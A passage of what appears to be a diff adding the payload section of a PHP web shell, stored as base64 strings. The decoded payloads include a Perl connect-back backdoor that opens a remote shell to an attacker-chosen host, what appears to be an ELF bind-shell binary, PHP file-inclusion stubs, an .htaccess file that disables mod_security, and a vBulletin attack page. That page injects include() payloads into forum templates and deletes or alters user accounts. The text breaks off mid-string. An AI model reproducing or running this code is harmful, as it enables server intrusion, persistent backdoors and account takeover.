0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
+$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0=";
+$egy_ini="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
+$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
+$egy_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
+$egy_vb="DQo8aHRtbD48aGVhZD48dGl0bGU+RWdZIFNwSWRFciA8L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNkYWRhZGEgOw0KQk9SREVSLVRPUDogICAgI2RhZGFkYSA7DQpCT1JERVItTEVGVDogICAjZGFkYWRhIDsNCkJPUkRFUi1CT1RUT006ICNkYWRhZGEgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjZGFkYWRhIDsNCkJPUkRFUi1UT1A6ICAgICNkYWRhZGEgOw0KQk9SREVSLUxFRlQ6ICAgI2RhZGFkYSA7DQpCT1JERVItQk9UVE9NOiAjZGFkYWRhIDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNkYWRhZGE7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNkYWRhZGE7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMEZGMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2RhZGFkYTs7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2RhZGFkYTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpCT0RZIHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KIDxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9ImxpbWUiIGxpbms9ImxpbWUiIHZsaW5rPSJsaW1lIj4NCiA8Y2VudGVyPg0KPD8NCiRhY3QgPSAkX0dFVFsnYWN0J107DQppZigkYWN0PT0ncmVjb25maWcnICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSkNCnsNCiRwYXRoID0gJF9QT1NUWydwYXRoJ107DQppbmNsdWRlICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dGg+Ojo6OlJlYWQgQ29uZmlnIERhdGE6Ojo6PC90aD48dGg+PD8gZWNobyAnPGZvbnQgY29sb3I9eWVsbG93PicgLiAkcGF0aCAuICc8L2ZvbnQ+JzsgPz48L3RoPg0KPHRyPg0KPHRoPkhvc3QgOiA8L3RoPjx0aD48PyBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRjb25maWdbJ01hc3RlclNlcnZlciddWydzZXJ2ZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+VXNlciA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+UGFzcyA6IDwvdGg+PHRoPjw/DQokcGFzc3NxbCA9ICRjb25maWdbJ01hc3RlclNlcnZlciddWydwYXNzd29yZCddOw0KaWYgKCRwYXNzc3FsID09ICcnKQ0Kew0KJHJlc3VsdCA9ICc8Zm9udCBjb2xvcj1yZWQ+Tm8gUGFzc3dvcmQ8L2ZvbnQ+JzsNCn0gZWxzZSB7DQokcmVzdWx0ID0gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJHBhc3NzcWwgLiAnPC9mb250Pic7DQp9DQplY2hvICRyZXN1bHQ7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+TmFtZSA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8L3RhYmxlPg0KPD8NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImRlbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdkZWxldGUgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcikNCnsNCmVjaG8gJzxmb250IGNvbG9yPXllbGxvdz5Vc2VyIDogJyAuICR2YnVzZXIgLiAnIHdhcyBkZWxldGVkPC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgY29sb3I9cmVkPlVzZXIgOiAnIC4gJHZidXNlciAuICcgY291bGQgbm90IGJlIGRlbGV0ZWQ8L2ZvbnQ+JzsNCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09InNoZWxsIiAgJiYgaXNzZXQoJF9QT1NUWyd2YXInXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmFyID0gJF9QT1NUWyd2YXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRXZHQgPSAnVVBEQVRFIGB0ZW1wbGF0ZWAgU0VUIGB0ZW1wbGF0ZWAgPSBcJyAiLnByaW50IGluY2x1ZGUoJEhUVFBfR0VUX1ZBUlNbJyAuICR2YXIgLiAnXSkuIiBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgIi5wcmludCBpbmNsdWRlKCRIVFRQX0dFVF9WQVJTWycgLiAkdmFyIC4gJ10pLiIgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkRvbmUgRXhwbG9pdC48L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fWVsc2V7DQplY2hvICI8cD5FcnJvcjwvcD4iO30NCiRyZXN1bHQxPW15c3FsX3F1ZXJ5KCRXZHQyKTsNCiAgaWYgKCRyZXN1bHQxKSB7IGVjaG8gIjxwPkRvbmUgQ3JlYXRlIEZpbGU8L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImNvZGUiICAmJiBpc3NldCgkX1BPU1RbJ2NvZGUnXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggPSAkX1BPU1RbJ2NvZGUnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRpbmRleCA9ICRfUE9TVFsnYiddOw0KJFdkdCA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnICcgLiAkaW5kZXggLiAnICBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgJyAuICRpbmRleCAuICcgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkluZGV4IHdhcyBDaGFuZ2VkIFN1Y2NlZnVsbHk8L3A+Ijt9ZWxzZXsNCmVjaG8gIjxwPkZhaWxlZCB0byBjaGFuZ2UgaW5kZXg8L3A+Ijt9DQokcmVzdWx0MT1teXNxbF9xdWVyeSgkV2R0Mik7DQppZiAoJHJlc3VsdDEpIHtlY2hvICI8cD5Eb25lIENyZWF0ZSBGaWxlPC9wPiI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0iaW5jIiAgJiYgaXNzZXQoJF9QT1NUWydsaW5rJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZibGluayA9ICRfUE9TVFsnbGluayddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJGhhY2sxNSA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuICdcJ1wnKX19eyR7ZXhpdCgpfX0mDQokX3BocGluY2x1ZGVfb3V0cHV0XCdXSEVSRSBgdGl0bGVgID1cJ0ZPUlVNSE9NRVwnOyc7DQokaGFjaz0gJ1VQREFURSBgc3R5bGVgIFNFVCBgY3NzYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuJ1wnXCcpfX17JHtleGl0KCl9fSYNCiRfcGhwaW5jbHVkZV9vdXRwdXRcJywgYHN0eWxldmFyc2AgPSBcJ1wnLCBgY3NzY29sb3JzYCA9IFwnXCcsIGBlZGl0b3JzdHlsZXNgID0gXCdcJyA7JzsNCiRyZXN1bHQ9bXlzcWxfcXVlcnkoJGhhY2sxNSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkaGFjaykgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibWFpbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICAmJiBpc3NldCgkX1BPU1RbJ3ZibWFpbCddKSkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCiR2Ym1haWwgPSAkX1BPU1RbJ3ZibWFpbCddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBlbWFpbD0iJyAuICR2Ym1haWwgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBFLU1BSUwgb2YgdGhlIHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZidXNlciAuICc8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93PiB3YXMgY2hhbmdlZCB0byA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPicgLiAkdmJtYWlsIC4gJzwvZm9udD48YnI+QmFjayB0byA8YSBocmVmPSI/Ij5TaGVsbDwvYT48L2ZvbnQ+JzsNCn0gZWxzZSB7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9cmVkPkZhaWxlZCB0byBjaGFuZ2UgRS1NQUlMPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0icHN3IiAgJiYgaXNzZXQoJF9